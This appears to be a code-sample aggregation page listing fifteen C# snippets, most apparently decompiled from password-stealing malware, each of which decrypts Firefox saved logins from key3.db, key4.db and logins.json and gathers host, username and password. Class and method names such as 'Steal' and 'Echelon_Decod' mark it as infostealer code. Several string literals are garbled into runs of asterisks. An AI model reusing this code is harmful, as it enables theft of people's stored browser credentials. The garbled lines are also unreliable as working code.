Ejemplo n.º 1
0
 private static byte[] k(string hv)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(hv))
         {
             return(array);
         }
         new DataTable();
         Gecko9 hx     = new Gecko9(hv);
         Gecko7 gecko  = new Gecko7(m(hx, (string ib) => ib.Equals("password-check")));
         string hw     = m(hx, (string ic) => ic.Equals("global-salt"));
         Gecko8 gecko2 = new Gecko8(l(hw), Encoding.Default.GetBytes(string.Empty), l(gecko.EntrySalt));
         gecko2.го7па();
         Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, l(gecko.Passwordcheck));
         Gecko4 gecko3 = Gecko1.Create(l(m(hx, (string id) => !id.Equals("password-check") && !id.Equals("Version") && !id.Equals("global-salt"))));
         Gecko8 gecko4 = new Gecko8(l(hw), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         gecko4.го7па();
         Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
         if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
         {
             array = gecko5.Objects[0].Objects[3].ObjectData;
             return(array);
         }
         Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         return(array);
     }
     catch
     {
         return(array);
     }
 }
Ejemplo n.º 2
0
 public static void i(string hq, byte[] hr, string hs, string ht)
 {
     try
     {
         string path = f(Path.Combine(hq, "logins.json"));
         if (File.Exists(path))
         {
             foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
             {
                 Gecko4 gecko  = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false)));
                 Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false)));
                 string text   = Regex.Replace(Gecko6.lTRjlt(hr, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text2  = Regex.Replace(Gecko6.lTRjlt(hr, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 aa.f.Add(string.Concat("URL : ", item["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", item["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : " + hs + Environment.NewLine + "Profile : " + ht + Environment.NewLine + aa.f[i]);
             }
             aa.f.Clear();
         }
     }
     catch
     {
     }
 }
Ejemplo n.º 3
0
        } //Если P4Key

        private static byte[] p3k(string file)
        {
            byte[] array = new byte[24];
            try
            {
                if (!File.Exists(file))
                {
                    return(array);
                }
                new DataTable();
                Gecko9 berkeleyDB = new Gecko9(file);
                Gecko7 Gecko7     = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check")));
                string hexString  = vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
                Gecko8 Gecko8     = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt));
                Gecko8.го7па();
                Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck));
                Gecko4 Gecko4  = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
                Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
                Gecko82.го7па();
                Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
                if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24)
                {
                    array = Gecko42.Objects[0].Objects[3].ObjectData;
                    return(array);
                }
                Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                return(array);
            }
            catch (Exception)
            {
                return(array);
            }
        }//Если P3Key
Ejemplo n.º 4
0
		// Token: 0x060000A7 RID: 167 RVA: 0x00007E3C File Offset: 0x0000603C
		public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name)
		{
			try
			{
				string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json"));
				if (File.Exists(path))
				{
					foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
					{
						JsonValue jsonValue = (JsonValue)obj;
						Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
						Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
						string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
						string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
						Steal.credential.Add(string.Concat(new string[]
						{
							"URL : ",
							jsonValue["hostname"],
							Environment.NewLine,
							"Login: "******"Password: "******"URL : ",
							jsonValue["hostname"],
							Environment.NewLine,
							"Login: "******"Password: "******"Browser : ",
							browser_name,
							Environment.NewLine,
							"Profile : ",
							profile_name,
							Environment.NewLine,
							Steal.credential[i]
						}));
					}
					Steal.credential.Clear();
				}
			}
			catch (Exception)
			{
			}
		}
Ejemplo n.º 5
0
        public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name)
        {
            try
            {
                string path = CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (File.Exists(path))
                {
                    {
                        foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
                        {
                            Func.Passwords.PassCounts++;
                            Gecko4 Gecko4  = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false)));
                            Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false)));
                            string text    = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                            string text2   = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);

                            string url = item["hostname"].ToString().Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", "");

                            Func.Passwords.result += Environment.NewLine + "Host: " + url
                                                     + System.Environment.NewLine + "Login: "******"Password: "******"Soft: " + browser_name + Environment.NewLine;
                        } //
                    }
                }
            }
            catch
            {
            }
        }
Ejemplo n.º 6
0
 // Token: 0x060001E6 RID: 486 RVA: 0x0000F60C File Offset: 0x0000D80C
 public static void smethod_8(string string_3, byte[] byte_0, string string_4, string string_5)
 {
     try
     {
         string path = Class12.smethod_5(Path.Combine(string_3, "logins.json"));
         if (File.Exists(path))
         {
             foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
             {
                 JsonValue jsonValue = (JsonValue)obj;
                 Gecko4    gecko     = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                 Gecko4    gecko2    = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                 string    text      = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string    text2     = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 Class12.list_3.Add(string.Concat(new string[]
                 {
                     "URL : ",
                     jsonValue["hostname"],
                     Environment.NewLine,
                     "Login: "******"Password: "******"URL : ",
                     jsonValue["hostname"],
                     Environment.NewLine,
                     "Login: "******"Password: "******"Browser : ",
                     string_4,
                     Environment.NewLine,
                     "Profile : ",
                     string_5,
                     Environment.NewLine,
                     Class12.list_3[i]
                 }));
             }
             Class12.list_3.Clear();
         }
     }
     catch (Exception)
     {
     }
 }
Ejemplo n.º 7
0
		// Token: 0x060000A8 RID: 168 RVA: 0x0000812C File Offset: 0x0000632C
		private static byte[] p4k(string file)
		{
			byte[] array = new byte[24];
			byte[] result;
			try
			{
				if (!File.Exists(file))
				{
					result = array;
				}
				else
				{
					CNT cnt = new CNT(file);
					cnt.ReadTable("metaData");
					string s = cnt.ParseValue(0, "item1");
					string s2 = cnt.ParseValue(0, "item2)");
					Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2));
					byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
					byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
					Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
					gecko2.го7па();
					Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
					cnt.ReadTable("nssPrivate");
					int rowLength = cnt.RowLength;
					string s3 = string.Empty;
					for (int i = 0; i < rowLength; i++)
					{
						if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber))
						{
							s3 = cnt.ParseValue(i, "a11");
							break;
						}
					}
					Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
					objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
					objectData2 = gecko3.Objects[0].Objects[1].ObjectData;
					gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
					gecko2.го7па();
					array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
					result = array;
				}
			}
			catch (Exception)
			{
				result = array;
			}
			return result;
		}
Ejemplo n.º 8
0
    // Token: 0x06000179 RID: 377 RVA: 0x0000D728 File Offset: 0x0000B928
    private static byte[] smethod_8(string string_3)
    {
        byte[] array = new byte[24];
        byte[] result;
        try
        {
            if (File.Exists(string_3))
            {
                CNT cnt = new CNT(string_3);
                cnt.ReadTable("metaData");
                string s           = cnt.ParseValue(0, "item1");
                string s2          = cnt.ParseValue(0, "item2)");
                Gecko4 gecko       = Gecko1.Create(Encoding.Default.GetBytes(s2));
                byte[] objectData  = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
                Gecko8 gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                gecko2.method_2();
                Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None);
                cnt.ReadTable("nssPrivate");
                int    rowLength = cnt.RowLength;
                string s3        = string.Empty;
                for (int i = 0; i < rowLength; i++)
                {
                    if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Class18.byte_0))
                    {
                        s3 = cnt.ParseValue(i, "a11");
IL_152:
                        Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
                        objectData    = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
                        objectData2   = gecko3.Objects[0].Objects[1].ObjectData;
                        gecko2        = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
                        gecko2.method_2();
                        array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
                        return(array);
                    }
                }
                goto IL_152;
            }
            result = array;
        }
        catch (Exception)
        {
            result = array;
        }
        return(result);
    }
Ejemplo n.º 9
0
 private static byte[] j(string hu)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(hu))
         {
             return(result);
         }
         CNT cNT = new CNT(hu);
         cNT.ReadTable("metaData");
         string s           = cNT.ParseValue(0, "item1");
         string s2          = cNT.ParseValue(0, Echelon_Decod.Ok("H4sIAAAAAAAEAMssSc01AgBLmMXgBQAAAA==)"));
         Gecko4 gecko       = Gecko1.Create(Encoding.Default.GetBytes(s2));
         byte[] objectData  = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData;
         Gecko8 gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         gecko2.го7па();
         Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(aa.j))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3));
         objectData  = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = gecko3.Objects[0].Objects[1].ObjectData;
         gecko2      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         gecko2.го7па();
         result = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch
     {
         return(result);
     }
 }
Ejemplo n.º 10
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string s           = cNT.ParseValue(0, "item1");
         string s2          = cNT.ParseValue(0, "item2)");
         Gecko4 Gecko4      = Gecko1.Create(Encoding.Default.GetBytes(s2));
         byte[] objectData  = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData;
         Gecko8 Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3));
         objectData  = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = Gecko42.Objects[0].Objects[1].ObjectData;
         Gecko8      = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         Gecko8.го7па();
         result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 } //Если P4Key
Ejemplo n.º 11
0
 // Token: 0x0600017A RID: 378 RVA: 0x0000D960 File Offset: 0x0000BB60
 private static byte[] smethod_9(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             Gecko9 gecko9_  = new Gecko9(string_3);
             Gecko7 gecko    = new Gecko7(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_0)));
             string string_4 = Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_1));
             Gecko8 gecko2   = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), Class18.smethod_10(gecko.EntrySalt));
             gecko2.method_2();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class18.smethod_10(gecko.Passwordcheck), PaddingMode.None);
             Gecko4 gecko3 = Gecko1.Create(Class18.smethod_10(Class18.smethod_11(gecko9_, new Func <string, bool>(Class18.Class19.class19_0.method_2))));
             Gecko8 gecko4 = new Gecko8(Class18.smethod_10(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
             gecko4.method_2();
             Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
             if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
             {
                 array  = gecko5.Objects[0].Objects[3].ObjectData;
                 result = array;
             }
             else
             {
                 Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Ejemplo n.º 12
0
		// Token: 0x060000A9 RID: 169 RVA: 0x00008368 File Offset: 0x00006568
		private static byte[] p3k(string file)
		{
			byte[] array = new byte[24];
			byte[] result;
			try
			{
				if (!File.Exists(file))
				{
					result = array;
				}
				else
				{
					new DataTable();
					Gecko9 berkeleyDB = new Gecko9(file);
					Gecko7 gecko = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
					string hexString = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
					Gecko8 gecko2 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt));
					gecko2.го7па();
					Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None);
					Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
					Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
					gecko4.го7па();
					Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
					if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
					{
						array = gecko5.Objects[0].Objects[3].ObjectData;
						result = array;
					}
					else
					{
						Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
						result = array;
					}
				}
			}
			catch (Exception)
			{
				result = array;
			}
			return result;
		}
Ejemplo n.º 13
0
 // Token: 0x060001E8 RID: 488 RVA: 0x0000FB2C File Offset: 0x0000DD2C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             Gecko9 gecko9_  = new Gecko9(string_3);
             Gecko7 gecko    = new Gecko7(Class12.smethod_11(gecko9_, (string x) => x.Equals("password-check")));
             string string_4 = Class12.smethod_11(gecko9_, (string x) => x.Equals("global-salt"));
             Gecko8 gecko2   = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), Class12.iefripvQgb(gecko.EntrySalt));
             gecko2.method_3();
             Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Class12.iefripvQgb(gecko.Passwordcheck), PaddingMode.None);
             Gecko4 gecko3 = Gecko1.Create(Class12.iefripvQgb(Class12.smethod_11(gecko9_, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
             Gecko8 gecko4 = new Gecko8(Class12.iefripvQgb(string_4), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
             gecko4.method_3();
             Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
             if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24)
             {
                 array  = gecko5.Objects[0].Objects[3].ObjectData;
                 result = array;
             }
             else
             {
                 Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Ejemplo n.º 14
0
 // Token: 0x06000178 RID: 376 RVA: 0x0000D4B0 File Offset: 0x0000B6B0
 public static void smethod_7(string string_3, byte[] byte_1, string string_4, string string_5)
 {
     try
     {
         string path = Class18.smethod_4(Path.Combine(string_3, "logins.json"));
         if (File.Exists(path))
         {
             foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"]))
             {
                 JsonValue jsonValue = (JsonValue)obj;
                 Class26.int_0++;
                 Gecko4 gecko  = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false)));
                 Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false)));
                 string text   = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text2  = Regex.Replace(Gecko6.lTRjlt(byte_1, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                 string text3  = jsonValue["hostname"].ToString(true).Replace("\"", "").Replace("https://", "").Replace("http://", "").Replace("www.", "");
                 Class26.string_0 = string.Concat(new string[]
                 {
                     Class26.string_0,
                     Environment.NewLine,
                     "Host: ",
                     text3,
                     Environment.NewLine,
                     "Login: "******"Password: "******"Soft: ",
                     string_4,
                     Environment.NewLine
                 });
             }
         }
     }
     catch
     {
     }
 }
Ejemplo n.º 15
0
    public static void steal(string paths, StreamWriter stream)
    {
        try
        {
            byte[] privatekey = null;
            if (File.Exists(Path.Combine(paths, "key3.db")))
            {
                privatekey = p3k(Path.Combine(paths, "key3.db"));
            }
            if (File.Exists(Path.Combine(paths, "key4.db")))
            {
                privatekey = p4k(Path.Combine(paths, "key4.db"));
            }

            string path = Path.Combine(paths, "logins.json");
            if (File.Exists(path))
            {
                {
                    foreach (JsonValue itema in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"])
                    {
                        Gecko4 Gecko4  = Gecko1.Create(Convert.FromBase64String(itema["encryptedUsername"].ToString(saving: false)));
                        Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(itema["encryptedPassword"].ToString(saving: false)));
                        string text    = Regex.Replace(Gecko6.lTRjlt(privatekey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                        string text2   = Regex.Replace(Gecko6.lTRjlt(privatekey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                        stream.WriteLine("HOST : " + itema["hostname"]);
                        stream.WriteLine("LOGIN  : "******"PASSWORD : "******"---------------------------------------------------------------");
                    }
                }
            }
        }
        catch (Exception)
        {
        }
    }